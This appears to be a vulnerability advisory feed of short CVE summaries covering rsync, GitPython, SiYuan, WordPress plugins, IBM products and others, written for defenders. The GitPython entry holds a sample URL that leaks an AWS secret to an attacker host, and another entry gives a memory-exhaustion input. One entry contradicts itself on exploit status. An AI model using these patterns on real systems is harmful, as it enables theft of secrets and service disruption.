Information Disclosure
Monthly
TLS certificate validation bypass in rsync enables on-path attackers to intercept and tamper with encrypted file transfer sessions. Affected are rsync 3.2.0-3.2.3 in openssl mode and rsync-ssl through 3.4.4 in stunnel mode; both fail to validate server certificates against a trusted CA and perform no hostname verification, allowing a self-signed or otherwise invalid certificate to be accepted silently. No public exploit has been identified at time of analysis, and a vendor-released patch (v3.5.0, designated a major security release) is available.
Symlink race condition in rsync before 3.5.0 allows directory traversal beyond the configured module root during sender-side scanning. Attackers with write access to a path component of the scanned tree can exploit a TOCTOU window between lstat() and opendir() system calls to redirect traversal outside the module boundary, causing rsync to enumerate and transfer files from unintended filesystem locations. This affects both daemon-mode and non-daemon sender-side scanning configurations; no public exploit has been identified at time of analysis, and the vulnerability is not listed in CISA KEV.
Arbitrary file deletion in rsync before 3.5.0 allows a malicious sender to expand the scope of --delete operations beyond the intended destination subtree by sending a crafted file list. All rsync versions prior to 3.5.0 are affected through multiple attack variants including implied parent directory reclassification, synthetic root path construction, legacy protocol behavior (protocol version below 30), and non-directory root handling. No public exploit has been identified at time of analysis, though the CVSS 4.0 score of 7.1 with network vector and low complexity reflects meaningful real-world risk for any deployment that syncs from potentially untrusted or compromised senders with --delete enabled.
Directory escape in rsync's rrsync restricted shell wrapper before version 3.5.0 allows authenticated users to read and write files outside their enforced directory boundaries via two distinct paths. The first is a TOCTOU race condition that substitutes a symlink after path validation but before file transfer; the second is direct abuse of unrestricted rsync flags - --copy-unsafe-links, -D, and --log-file - that rrsync fails to sanitize, requiring no race timing at all. Scored 8.6 (High) under CVSS 4.0 with full confidentiality and integrity compromise of the vulnerable system, this is a genuine priority for any deployment using rrsync for SSH-based restricted file sharing; no public exploit has been identified at time of analysis.
Arbitrary file read in rsync before 3.5.0 enables attackers with local low-privilege access to read files accessible to the rsync daemon process by exploiting improper symlink resolution in input configuration file handling. The vulnerability affects --files-from, --password-file, and filter merge file paths, allowing placement of a symlink at a predictable argument path or supply of a --files-from path that escapes the daemon module root. No public exploit code or active exploitation (CISA KEV) has been identified at time of analysis; the vendor has released a confirmed fix in rsync 3.5.0.
BLE encryption key downgrade in Silicon Labs WiseConnect allows adjacent, unauthenticated attackers to brute-force session keys. When a peripheral initiates SMP (Security Manager Protocol) pairing, WiseConnect's security request omits the device's maximum supported encryption key size. The central device therefore negotiates a smaller-than-maximum key, materially reducing the brute-force search space for any captured pairing exchange. This flaw is formally documented as V6 in the NDSS-published BLERP (BLE Re-Pairing Attacks and Defenses) research paper; no public exploit confirmation (KEV) exists at time of analysis, but the academic disclosure provides significant technical detail to aid attack development.
Security level downgrade during Bluetooth Low Energy re-pairing in Silicon Labs WiseConnect exposes the Long Term Key (LTK) to practical brute-force attack by an adjacent unauthenticated attacker. Devices running WiseConnect 4.0.0 through 4.0.x and WiseConnect 2.0.0 through 2.13.x accept re-pairing negotiations at weaker security parameters than originally established, reducing LTK entropy and enabling offline key recovery. No public exploit code has been identified at time of analysis, though the vulnerability class is formally documented as V4 in the BLERP academic paper (NDSS); a vendor patch is available in WiseConnect 4.1.0 and 2.14.0.
Cross-tenant IDOR in Roskus Prospero Flow CRM before 5.4.7 allows any authenticated user to read sensitive product records belonging to other tenant companies and reassign those products into their own account. Two compounding root causes drive the impact: ProductUpdateController lacked the MainController inheritance that enforces session-based authorization, leaving the product read endpoint unguarded, while ProductRepository::save() performed a bare Product::find($data['id']) lookup with no company_id scope constraint, enabling cross-tenant record hijacking. No public exploit or CISA KEV listing exists at time of analysis, but the exploit conditions are trivially met by any authenticated session holder.
KVM on s390 (IBM Z mainframe) exposes a hypervisor boundary-crossing flaw in its PCI Adapter Interrupt Forwarding (AIF) subsystem, where a guest VM registering IRQs without an Adapter Interrupt Summary Bit (AISB) causes the kernel to write `virt_to_phys(page_address(NULL))` - a non-zero, incorrect physical address - into the Guest Adapter Interrupt Table Entry (GAITE) rather than the correct zero sentinel. The CVSS scope change (S:C) indicates this poisoned GAITE entry can be used to cross the guest/host trust boundary, enabling potential host memory disclosure, corruption, or destabilization from a low-privileged guest context. No public exploit code and no CISA KEV listing exist at time of analysis; patches have been issued across multiple Linux stable kernel branches.
Kernel memory corruption in the Linux kernel's s390/zcrypt CCA AES cipher key handling path allows a local low-privileged user on IBM Z mainframe systems to trigger an out-of-bounds buffer operation with full confidentiality, integrity, and availability impact. The function `cca_cipher2protkey()` uses the length field from a user-supplied key token header to determine the copy size for the CPRB parameter block without validating it against the actual available buffer space, enabling adjacent kernel memory corruption. No public exploit exists and this is not in CISA KEV; vendor-released patches are available across multiple stable kernel branches including 6.6.151, 6.12.103, 6.18.44, and 7.1.8.
Missing length validation in the Linux kernel's s390/zcrypt CCA ECC private key handler allows a local low-privileged user on IBM Z (s390) systems to trigger a buffer overread or overflow in the CPRB parameter block. The `cca_ecc2protkey()` function blindly trusts the length field embedded in a caller-supplied key token when computing how many bytes to copy into a fixed-size parameter block, enabling a crafted oversized token to corrupt adjacent kernel memory. No public exploit has been identified at time of analysis, and this vulnerability is architecture-specific to IBM Z mainframe Linux deployments.
Unauthenticated sensitive data exposure in KiviCare WordPress plugin versions 4.5.1 and below allows remote, unauthenticated attackers to access protected clinic and patient data through an authentication bypass (CWE-288). The CVSS 3.1 vector confirms network-level, zero-complexity, credential-free exploitation with high confidentiality impact and no integrity or availability dimension. No public exploit has been identified at time of analysis and the vulnerability is not listed in CISA KEV, but the attack profile is inherently accessible to any opportunistic actor who can reach the WordPress installation.
Broken access control in the Nokri WordPress job board theme (versions 1.6.6 and earlier by ScriptsBundle) lets remote unauthenticated attackers bypass authorization controls to access or manipulate resources that should be restricted, with the CWE-640 mapping indicating a weakness in the account/password recovery mechanism. Rated CVSS 9.8 with a full network/no-privilege/no-interaction vector implying full confidentiality, integrity, and availability impact, this issue is reported by Patchstack and tagged as information disclosure. No public exploit identified at time of analysis and the flaw is not listed in CISA KEV.
Unauthenticated Local File Inclusion (LFI) in the Biagiotti Core WordPress plugin versions up to and including 2.1.1 allows network-accessible attackers to include arbitrary local files on the server without any credentials. The CVSS 8.1 score with full C/I/A impact ratings reflects the potential to chain LFI into remote code execution via techniques such as log poisoning or session file inclusion, not merely passive file disclosure. No public exploit code or CISA KEV listing has been identified at time of analysis, and the AC:H metric signals that exploitation requires specific server-side preconditions to achieve full impact.
Local File Inclusion in the Foton Core WordPress plugin (versions ≤ 1.1.1, developed by Mikado Themes) enables unauthenticated remote attackers to supply attacker-controlled file paths to PHP include/require functions, potentially exposing sensitive server files such as wp-config.php or enabling remote code execution via log-poisoning techniques. The CVSS vector confirms unauthenticated network-level access (AV:N/PR:N) with high confidentiality, integrity, and availability impact, though the AC:H rating signals that specific conditions must align for successful exploitation. No public exploit code or active exploitation has been confirmed at time of analysis; the Patchstack advisory is the sole disclosure source.
Local File Inclusion in the Barista WordPress theme (edge-themes) version 2.5.1 and earlier allows unauthenticated remote attackers to include arbitrary local files via crafted HTTP requests, with potential full confidentiality, integrity, and availability compromise. The CVSS 8.1 score reflects high impact across all three pillars, though the AC:H rating indicates exploitation requires elevated complexity - such as specific server conditions or chained techniques like log poisoning to escalate beyond file disclosure to code execution. No active exploitation is confirmed (not in CISA KEV), and no public exploit code has been identified at time of analysis.
Account takeover via broken authentication in the Cartify Multipurpose WooCommerce WordPress theme (versions <= 1.3.0.1) lets an unauthenticated remote attacker authenticate as an arbitrary user, including administrators, without valid credentials. Reported by Patchstack and rated CVSS 9.8, the flaw stems from an authentication logic error (CWE-288) that permits identity assertion through an alternate path. No public exploit identified at time of analysis, and it is not listed in CISA KEV.
Unauthenticated sensitive data exposure in the iCARRY WordPress plugin (versions <= 2.9) allows any remote, unauthenticated attacker to retrieve sensitive information by interacting with the plugin's endpoints over a standard HTTP connection. The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) confirms exploitation requires no credentials, no user interaction, and no special preconditions, making every unpatched site trivially accessible. No public exploit code or active exploitation has been identified at time of analysis, though the low attack complexity means discovery and abuse would be straightforward for any motivated attacker.
Sensitive data exposure in WooCommerce Appointments plugin (≤ 5.3.8) allows unauthenticated remote attackers to access confidential booking or customer information without any credentials or user interaction. Reported by Patchstack, this High-severity flaw (CVSS 7.5) requires no authentication, no special configuration, and no user interaction, making it trivially automatable by scanning tools. No public exploit code or CISA KEV listing has been identified at time of analysis, though the zero-prerequisite attack surface warrants prompt remediation.
Authentication bypass in the Salon Booking System WordPress plugin (versions 10.30.26 and earlier) allows remote unauthenticated attackers to defeat the plugin's identity/verification logic (CWE-288) and gain access to protected functionality or data without valid credentials. The CVSS 3.1 base score of 9.8 (AV:N/AC:L/PR:N/UI:N) reflects network-reachable, low-complexity exploitation with high confidentiality, integrity, and availability impact; Patchstack tags it as Information Disclosure. There is no public exploit identified at time of analysis and it is not listed in CISA KEV.
Unauthenticated Local File Inclusion in the Geo Mashup WordPress plugin (all versions through 1.13.18) enables a remote, unauthenticated attacker to include arbitrary local files from the server's filesystem, potentially exposing sensitive configuration data or achieving remote code execution through chained techniques such as log poisoning. Reported by Patchstack, the flaw is classified under CWE-98, targeting PHP's include/require mechanism within the plugin. No public exploit or CISA KEV listing has been confirmed at time of analysis, but the CVSS 8.1 score reflects a high-severity, zero-privilege-required attack path.
Unauthenticated sensitive data exposure in the REST API Log WordPress plugin (versions <= 1.7.1) allows any remote actor to query the plugin's log storage and retrieve recorded REST API request and response data without credentials. Reported by Patchstack and scored CVSS 7.5 (High) with AV:N/AC:L/PR:N/UI:N, the exposure is trivially reachable across the network with no authentication or user interaction. No public exploit code has been identified at time of analysis, and the vulnerability is not listed in CISA KEV.
Sensitive data exposure in WPJAM Basic (WordPress plugin, versions ≤ 7.0.2.1) allows unauthenticated remote attackers to retrieve subscriber private information without credentials or user interaction. Classified under CWE-1258, the root cause is a failure to restrict access to private user data at the plugin level, exposing information that should be gated by authentication. No public exploit code has been identified at time of analysis, though the absence of any authentication or complexity barrier makes this straightforward to abuse once the vulnerable endpoint is known.
Authentication bypass in the rtCamp "Log in with Google" WordPress plugin (versions <= 1.4.2) lets unauthenticated remote attackers assume the identity of legitimate users because the plugin insufficiently verifies the authenticity of the Google OAuth login response. Rated CVSS 9.8, the flaw permits full account takeover without credentials or user interaction; there is no public exploit identified at time of analysis and it is not listed in CISA KEV, but the Patchstack advisory confirms the vulnerability class.
PostgreSQL's ctid data type selectivity estimator mishandles non-ctid input through a type confusion flaw (CWE-843), enabling any low-privileged database user with object-creation rights to read approximately 4 bytes of arbitrary server memory per query. All supported major versions prior to 18.5, 17.11, 16.15, 15.19, and 14.24 are affected. No public exploit code or CISA KEV listing has been identified at time of analysis, but the vendor explicitly acknowledges that substantial memory value recovery is possible.
Arbitrary file overwrite in GitPython through version 3.1.53 allows authenticated low-privileged attackers to write git diff output to any attacker-chosen file path accessible at the hosting process's OS privilege level, by injecting the `--output` flag through the unguarded `Diffable.diff()` method. Applications built on GitPython that pass user-controlled values to `Commit.diff()`, `Tree.diff()`, `IndexFile.diff()`, or `Submodule.diff()` expose the full attack surface, which spans two distinct injection paths confirmed in the vendor advisory. Publicly available exploit code exists, verified live against tag 3.1.53; no active exploitation has been confirmed in CISA KEV at time of analysis.
Environment variable exfiltration in GitPython before 3.1.55 allows attackers to steal secrets from the hosting process environment by supplying crafted URLs containing shell variable references to Remote.create() (via Repo.create_remote() or Remote.add()) and Submodule.add() API methods. This is an incomplete fix of GHSA-rwj8-pgh3-r573: the prior patch disabled variable expansion only in Repo.clone_from(), leaving sibling callers unguarded - URLs such as https://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git are expanded server-side, persisted to .git/config or .gitmodules, and transmitted to the attacker's host on the next fetch or pull. The official GHSA advisory published by gitpython-developers includes detailed step-by-step reproduction instructions; the vulnerability is not in CISA KEV at time of analysis.
Arbitrary file read in GitPython before 3.1.57 allows any caller who can supply options to Repo.archive() to exfiltrate files from anywhere on the server filesystem by passing --add-file or --add-virtual-file to git archive. The unsafe_git_archive_options denylist blocks --output, -o, and --exec but omits these two sibling options, which were verified functional against git 2.50.1. A working proof-of-concept confirmed byte-for-byte exfiltration of out-of-tree files against GitPython 3.1.55. No public KEV listing exists, but the POC is published in the GHSA advisory.
File Browser versions 2.50.0 through 2.63.21 permit indefinite session persistence via expired JWT tokens when proxy authentication is configured with a non-default logout page, enabling an attacker who possesses any previously valid token to access protected routes and administrative endpoints beyond the token's expiration window. The authentication middleware intentionally waived JWT expiration under proxy-auth - since the proxy is expected to govern session lifetime - but failed to require the proxy to simultaneously assert the user's identity on each request, meaning a leaked or captured token could authenticate independently and indefinitely. No public exploit code has been identified at time of analysis; the fix commit and vendor security advisory are publicly available.
Incomplete credential redaction in Flowise before 3.1.3 exposes fully decrypted secrets via the authenticated GET /api/v1/credentials/:id endpoint, allowing any user with credentials:view permission to retrieve database connection URLs containing embedded passwords, Google Cloud service account JSON files with RSA private keys, and AWS access keys in plaintext. The root cause is a server-side redaction function that only masks schema fields declared with type 'password', leaving string-typed fields - routinely used for sensitive credential values - untouched in the plainDataObj API response. No public exploit code or CISA KEV listing has been identified at time of analysis, but the low-complexity, low-privilege, network-accessible nature of this flaw makes it an immediate priority for any organization running shared or multi-user Flowise workspaces.
Unauthenticated information disclosure in the Portal Generator add-on to Priority ERP (developed by Soft Solutions) allows remote attackers to retrieve restricted data by bypassing security controls that are enforced only in the client rather than on the server. Any actor who can reach the portal over the network can craft direct server requests that skip the intended access checks, exposing sensitive data without credentials or user interaction. No public exploit identified at time of analysis, and the issue is not listed in CISA KEV.
Unauthenticated sensitive information disclosure in the Portal Generator Addon to Priority ERP (developed by Soft Solutions) allows remote attackers to retrieve private personal and business data without credentials or user interaction. Rated CVSS 9.1 (AV:N/AC:L/PR:N/UI:N) and reported by Israel's National Cyber Directorate (INCD), the flaw combines CWE-200 and CWE-359 exposure classes. No public exploit identified at time of analysis, and the product has a primarily Israeli deployment footprint.
Unauthenticated remote information disclosure in the Portal Generator Addon for Priority ERP (developed by Soft Solutions) exposes sensitive ERP data to unauthorized network actors. The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:C/C:H) confirms that exploitation requires no credentials, no user interaction, and no special network position, yet achieves high confidentiality impact with a scope change that extends beyond the portal component into the underlying Priority ERP system. Reported by the Israel National Cyber Directorate (INCD), no public exploit code or CISA KEV listing has been identified at time of analysis.
Full site compromise in the Link Factory WordPress plugin stems from the plugin itself being a deliberate backdoor rather than a coding flaw. Marketed as a 'homepage sentence publisher', it silently exposes an operator-controlled REST API under /wp-json/link-factory/v1/ that grants the plugin's author covert command-and-control over any site that installs it. Publicly available exploit code exists (reported by WPScan); the endpoints require no WordPress authentication and are gated only by a detached Ed25519 signature tied to the operator's hardcoded public key, so the operator retains privileged access indefinitely.
Authentication bypass in LemonLDAP::NG (CWE-305) allows remote unauthenticated attackers to defeat a primary authentication control and access protected resources, tagged by the reporter as leading to information disclosure. All maintained branches are affected, with fixes shipped in 2.23.3, 2.21.5, and 2.16.9; the issue was disclosed via oss-security and packaged by Ubuntu. There is no public exploit identified at time of analysis, and EPSS is low at 0.27% (18th percentile) despite the 9.8 CVSS.
CVE-2026-62292 has been reported by Ubuntu as a security update, but no technical description, CVSS score, CWE, affected product versions, or references are available at time of analysis. No meaningful synthesis is possible without fabricating data.
Remote unauthenticated denial of service and sensitive information disclosure in IBM i 7.3 through 7.6 stems from an integer underflow (CWE-125 out-of-bounds read) reachable over the network without authentication. An attacker sending a crafted request can crash an affected service and read portions of process memory, yielding both high availability impact and limited confidentiality exposure. No public exploit code has been identified at time of analysis and this CVE is not listed in the CISA KEV catalog, though the low-complexity, unauthenticated attack vector makes it a meaningful risk for internet-exposed IBM i systems.
Unauthenticated remote crash of rsyslogd is possible through a flaw in the optional imptcp input module, where a crafted input sequence during oversize-frame recovery produces an invalid internal message length and terminates the logging daemon. Systems running Red Hat Enterprise Linux 6 through 10 are affected only when imptcp is explicitly loaded with a non-default frame delimiting mode; the default imptcp framing and the separate imtcp module are explicitly confirmed unaffected. No public exploit code and no CISA KEV listing have been identified at time of analysis; CVSS scores this at 7.5 High solely on the basis of network-accessible, unauthenticated availability impact.
Code-integrity failure in IBM i Access Client Solutions (ACS) versions 1.1.2.0 through 1.1.9.13 lets a positioned attacker deliver unverified, compromised product code to a user's workstation when ACS is configured to auto-update from an IBM i host. Because ACS does not validate the integrity/authenticity of downloaded update code (CWE-494), an attacker who can serve or tamper with that update stream can achieve arbitrary code execution on the client machine. Carries a vendor CVSS of 9.6 (adjacent, scope-changed, full CIA impact), but there is no public exploit identified at time of analysis and EPSS is very low at 0.11%.
Request smuggling in Apple ServiceTalk's HTTP/1.x implementation exposes services to request pipeline injection by exploiting improper parsing of malformed Transfer-Encoding headers. All ServiceTalk deployments running versions prior to 0.42.65 are vulnerable, with the CVSS vector confirming unauthenticated network exploitation with high integrity impact. No public exploit code and no CISA KEV listing have been identified at time of analysis, though the EPSS score of 0.14% reflects low but non-zero current exploitation probability.
Privilege escalation to host root in Canonical LXD occurs when the container manager unpacks crafted image or backup archives, because it follows a symbolic link where the backup.yaml metadata file should be and then processes attacker-controlled configuration outside its intended confinement. A low-privileged LXD user who can import a malicious archive can execute arbitrary commands as root on the underlying host, breaking the container/host trust boundary (scope change). Rated CVSS 9.9; no public exploit identified at time of analysis and not listed in CISA KEV, but the fix is coordinated through GitHub advisory GHSA-fv82-v4fj-mm4m.
Arbitrary host file read and write in Canonical LXD occurs because the image import/unpack routine does not verify whether the bundled metadata.yaml entry is a symbolic link, letting an authenticated user with image-import rights supply a crafted archive whose symlinked metadata.yaml resolves to sensitive host paths. Rated CVSS 9.9 with a scope change (S:C), successful exploitation crosses the container/management boundary to read or overwrite files as the LXD daemon (typically root) on the host. There is no public exploit identified at time of analysis and the issue is not listed in CISA KEV; details are published only in Canonical advisory GHSA-j825-cg34-5fr5.
Privilege escalation in IBM Security Verify Access and IBM Verify Identity Access allows an authenticated low-privilege user to assume the identity and privileges of another user by submitting a specially crafted network request. The vulnerability spans both on-premises and container deployments across multiple product generations (10.x and 11.x lines), broadening the exposed surface considerably. No public exploit code or CISA KEV listing has been identified at time of analysis, but the CVSS score of 8.1 and low attack complexity make this a high-priority patching target for organizations running IBM identity infrastructure.
Privilege escalation via command injection in IBM Security Verify Access and IBM Verify Identity Access allows an authenticated administrator to execute system commands beyond their authorized scope. Affected products span IBM Security Verify Access 10.0 through 10.0.9.2 and IBM Verify Identity Access 11.0 through 11.0.3 (including the container variant), with network-accessible administrative interfaces as the attack surface. Full confidentiality, integrity, and availability compromise of the underlying system is possible; no public exploit identified at time of analysis and this vulnerability is not listed in the CISA KEV catalog.
Format string injection in IBM Security Verify Access (10.0-10.0.9.2) and IBM Verify Identity Access (11.0-11.0.3, including container deployments) enables authenticated administrative attackers to send crafted HTTP requests to the management interface, triggering uncontrolled format string processing. Successful exploitation produces high confidentiality impact through stack memory disclosure and high availability impact through service crashes, with CVSS scope change indicating potential downstream effect on identity services beyond the management component. No public exploit is identified at time of analysis; this is a vendor-confirmed finding reported directly by IBM PSIRT.
Cryptographic validation weakness in the IBM Security Verify Access / Verify Identity Access Reverse Proxy (WebSEAL) allows remote attackers to bypass expected integrity checks on user-supplied data in certain configurations, affecting Security Verify Access 10.0 through 10.0.9.2 and Verify Identity Access (and its Container edition) 11.0 through 11.0.3. NVD rates this CVSS 9.8, but the vague 'certain configurations' wording and a low EPSS of 0.24% (15th percentile) with SSVC exploitation status 'none' point to a config-dependent issue rather than mass exploitation. There is no public exploit identified at time of analysis and it is not on CISA KEV.
Information disclosure in SiYuan, a self-hosted block-based personal knowledge management app, lets anonymous, unauthenticated network callers read the contents of password-protected documents. Versions before v3.7.4 skip the publish-password tier check in the getGraph and getLocalGraph endpoints, so an attacker who reaches the instance can retrieve block-level text and the full reference/link topology of protected notes without ever supplying the publish password. Reported by VulnCheck and fixed in v3.7.4; there is no public exploit identified at time of analysis and it is not listed in CISA KEV.
SiYuan's publish mode in versions before v3.7.4 leaks Argon2id key-derivation material - including salt, cost parameters, password verifiers, and wrapped notebook data keys - through unauthenticated HTTP endpoints, enabling unlimited offline master-password cracking. Remote unauthenticated attackers who can reach a publish-mode SiYuan instance can retrieve all inputs needed to run offline Argon2id cracking campaigns with no server-side rate limiting. No public exploit has been identified at time of analysis, but the attack requires only standard HTTP requests once the target is located.
Credential disclosure in SiYuan note-taking software before v3.7.4 lets unauthenticated remote attackers read the session cookie signing key (CookieKey) from the /api/system/getConf endpoint when an instance runs in publish mode. With that key an attacker can mint valid signed session cookies, impersonate any user, and escalate to administrative control of the workspace. Reported by VulnCheck with a vendor security advisory (GHSA-34fj-mwm6-fjfg); no public exploit identified at time of analysis and the CVE is not listed in CISA KEV.
Sensitive credential exposure in SiYuan (self-hosted note-taking app) before v3.7.4 allows anonymous or publish-reader users to query the /api/system/getConf endpoint and retrieve unmasked secrets, including the session-cookie signing key, the OS username (leaked via the pandoc path), and encrypted-notebook key material. With the signing key, attackers forge and tamper with session cookies to impersonate any user, and on instances that have not configured an access-auth code they can escalate to full administrator privileges. No public exploit identified at time of analysis, but the flaw is remotely reachable without authentication against default configurations.
Authenticated SQL injection in CamaleonCMS 2.9.1 allows low-privileged users holding post creation or editing rights to extract sensitive data - including administrative credentials and configuration values - from the underlying SQLite database via crafted slug payloads. The flaw exists because the post slug field is incorporated into backend database queries without adequate parameterization, enabling boolean- and union-based blind injection techniques over a standard network-accessible web interface. A vendor patch is available via the upstream GitHub repository; no public exploit code or CISA KEV listing has been identified at time of analysis.
Unauthenticated user enumeration and metadata disclosure in Budibase prior to 3.39.32 exposes tenant identifiers, email addresses, user IDs, SSO identifiers, and document revision metadata via a public API endpoint that was intentionally exempted from authentication middleware - accompanied by a `TODO` comment in source acknowledging it should have been restricted. Any network-reachable unauthenticated caller can query the Worker service endpoint `GET /api/global/users/tenant/:id` with an email or user identifier and receive a full `PlatformUser` document. No public exploit code has been identified at time of analysis, though the attack is trivially reproducible from the public GitHub security advisory alone.
Missing authorization in the Execute Monitor API of the Amazon OpenSearch Alerting plugin allows any authenticated remote user to read, modify, or delete arbitrary index data by supplying crafted inline monitor requests with attacker-controlled data source and input index parameters. The flaw bypasses index-level permission enforcement, making it a meaningful privilege escalation risk in multi-tenant or shared OpenSearch deployments. A vendor patch is available; no public exploit or CISA KEV listing has been identified at time of analysis.
Cache metadata poisoning in JFrog Artifactory enables a low-privileged authenticated user to corrupt cached artifact metadata entries, causing downstream consumers - including CI/CD pipelines and development toolchains - to silently retrieve untrusted or attacker-influenced content. All versions of Artifactory are listed as affected per the CPE wildcard, making this a broad supply chain integrity concern for organizations relying on Artifactory as a central repository manager. No public exploit code has been identified and the vulnerability is not listed in CISA KEV at time of analysis, though the high CVSS score of 8.8 and network-accessible attack vector warrant prompt patching.
Out-of-bounds read in IBM i 7.3 through 7.6 enables remote authenticated attackers with low-privilege credentials to obtain sensitive information across a security scope boundary, yielding a high confidentiality impact. The CVSS vector (S:C/C:H) indicates the leaked data can originate from components outside the attacker's immediate security context - a notable escalation beyond typical information disclosure. No public exploit code has been identified at time of analysis, and IBM has released a patch via advisory 7283280.
Credential harvesting in IBM i (via its Navigator for i web administration console) allows a remote unauthenticated attacker to spoof the legitimate Navigator for i interface and trick operators into disclosing their credentials, per IBM's advisory covering releases 7.6, 7.5, 7.4, and 7.3. The flaw is a CWE-346 origin-validation weakness carrying a CVSS 9.8 rating, though real-world exploitation signals are modest - there is no public exploit identified at time of analysis and EPSS sits at just 0.18% (7th percentile). A vendor patch is available.
XML injection in IBM i versions 7.3 through 7.6 enables a remote low-privileged authenticated attacker to exfiltrate sensitive information and compromise system integrity without disrupting availability. The CVSS 8.1 High score reflects a network-accessible, low-complexity attack path requiring only a standard user account. No public exploit has been identified at time of analysis; a vendor-released patch is available via IBM's support portal.
Authorization bypass in Apache Airflow's Backfill API (all versions prior to 3.3.1) allows any authenticated user holding edit permission on a single DAG to read, pause, cancel, and fail backfills belonging to any other DAG. The flaw is a type-parsing mismatch in FastAPI's dependency resolution layer: the authorization dependency parsed the `backfill_id` path parameter with Python's `int()` while the route handler declared `NonNegativeInt` via Pydantic, which in lax mode coerces inputs like `'42.0'` that `int()` rejects-causing the two components to authorize and act on different DAGs. Backfill IDs are sequential, making cross-DAG enumeration trivial; no public exploit code has been identified at time of analysis, though the technique is directly reproducible from the published patch diff.
Cache poisoning in JFrog Artifactory 7.161.0-7.161.15 allows unauthenticated remote attackers to inject untrusted package content into the artifact cache under specific triggering conditions, compromising artifact integrity (I:H) and availability (A:H) with no confidentiality exposure. The vulnerability is rooted in CWE-345 (Insufficient Verification of Data Authenticity), meaning Artifactory fails to validate the authenticity of content before caching it from upstream remote repositories. No public exploit has been identified at time of analysis, and the CVSS UI:R component indicates some victim interaction is required, moderating but not eliminating risk given Artifactory's central role in software supply chains.
Off-by-one error in Nimiq Albatross' validity store enables transaction replay attacks, causing double execution of any crafted transaction on MainNet. Versions of nimiq-blockchain up to and including 1.5.0 contain a strict-inequality comparison that prematurely expires replay protection by up to 59 blocks (~10 minutes), while the protocol continues to accept the transaction as valid. Any network participant can exploit this by choosing a specific validity_start_height, resulting in the sender being debited twice and the recipient credited twice. No public exploit code or CISA KEV listing has been identified; vendor patch 1.5.1 is available.
JFrog Artifactory's JWT handling allows a holder of a valid integration credential to impersonate arbitrary users under specific conditions, exploiting an improper cryptographic signature verification flaw (CWE-347). Any actor in possession of a legitimate integration token - such as a CI/CD service account - can craft or manipulate JWT tokens to assume the identity of other users, including privileged ones, gaining their full access to repositories and administrative functions. No public exploit has been identified at time of analysis, and the vulnerability has not been added to the CISA KEV catalog; however, the full C:H/I:H/A:H CVSS impact profile warrants prompt patching in environments where integration credentials are broadly distributed.
SAML response impersonation in JFrog Artifactory (all tracked versions per CPE) permits an attacker who possesses a valid SAML response to assume the identity of another user under specific conditions. Rooted in CWE-347 (Improper Verification of Cryptographic Signature), the flaw indicates Artifactory fails to adequately validate SAML assertion signatures or cryptographic bindings - a class of weakness commonly exploited via XML Signature Wrapping (XSW) or assertion replay attacks. The 'JWT Attack' tag suggests Artifactory may internally convert SAML assertions to JWT tokens, and the signature verification gap may exist at that translation layer. No public exploit code and no CISA KEV listing have been identified at time of analysis.
Token replay in Vulnerability-Lookup's account activation and password-recovery mechanism allows an attacker who captures a valid one-time link to repeatedly reset the victim's password throughout the entire TOKEN_VALIDITY_PERIOD, even after the legitimate user has already consumed that token. Because the application never records whether a token has been used and does not bind tokens to a specific workflow, a single intercepted link grants persistent account-takeover capability without requiring any knowledge of the victim's current credentials. Reported by CIRCL, no public exploit code or CISA KEV listing exists at time of analysis; an upstream patch is available via a GitHub commit.
Memory exhaustion in Net::CIDR::Set before 0.23 exposes any Perl application using the library to remote denial of service when untrusted input reaches `contains()` or `add()`. The `_encode` method in `lib/Net/CIDR/Set/IPv6.pm` accepted unbounded prefix lengths and allocated memory proportional to the supplied value - `::/100000000` produces a ~100 MB string and a 12.5 million-element Perl array before the input is rejected - with no authentication required (CVSS PR:N, AV:N). No public exploit is identified at time of analysis, but the 16% EPSS score is elevated for a library-level DoS, and vendor-released patch version 0.23 is confirmed available.
Unauthenticated information disclosure in WP Photo Album Plus (WordPress plugin, all versions before 9.2.07.002) allows any remote attacker to read arbitrary autoloaded WordPress option values by supplying a crafted suffix to a public, unprotected endpoint. The plugin constructs an option name from client-controlled input without restricting it to its own namespace or verifying any capability or nonce, exposing site-wide secrets stored in wp_options. A publicly available proof-of-concept exists, SSVC rates this as automatable with partial technical impact, and EPSS sits at 16%, indicating meaningful real-world exploitation interest despite the absence of a CISA KEV listing.
Unauthenticated arbitrary file deletion in WP Photo Album Plus (versions before 9.2.07.002) exposes WordPress sites to path traversal attacks through a public endpoint that accepts unvalidated client-controlled file path values with no authorization check in place. Any remote unauthenticated attacker can manipulate this path parameter to target and delete ZIP archives stored anywhere on the server, including directories outside the web root. A publicly available proof-of-concept exists, EPSS scores this at 16%, and no public exploit identified at time of analysis maps to confirmed mass exploitation - but the low attack complexity and zero authentication barrier make rapid weaponization realistic.
Unauthenticated exposure of the backup authorization secret in Total Upkeep WordPress plugin (all versions before 1.17.3) enables remote attackers to both exfiltrate sensitive backup archives and trigger arbitrary full-site restores that overwrite live site files and the database. WPScan disclosed a publicly available proof-of-concept exploit, and SSVC rates the attack as automatable, creating conditions for mass exploitation campaigns. The vendor-reported CVSS score of 7.5 covers only the confidentiality dimension and substantially understates real-world risk by omitting the integrity and availability destruction possible through forced site restores.
Unauthenticated export file disclosure in Import WP WordPress plugin (all versions before 2.14.23) allows any remote attacker to download administrator-generated export files without credentials. The export download handler performs no authorization check, exposing files that may contain user PII including email addresses, login names, and role assignments. A publicly available exploit exists (reported by WPScan), and EPSS sits at 16%, indicating meaningful real-world exploitation interest; exploitation is contingent on two prerequisites that meaningfully reduce actual exposure relative to the raw CVSS score.
Unauthorized cross-tenant Secret and ConfigMap access in the multicloud-operators-channel component of Red Hat Advanced Cluster Management for Kubernetes 2 allows a compromised managed-cluster agent to read all Secrets and ConfigMaps within any Channel namespace on the hub cluster. The Changed scope (S:C) in the CVSS vector confirms that exploitation pivots from a managed cluster context into the hub, exposing Git and Helm repository credentials belonging to other tenants. No public exploit has been identified at time of analysis, but the network-reachable, low-privilege vector makes this a high-priority finding in any multi-tenant RHACM deployment.
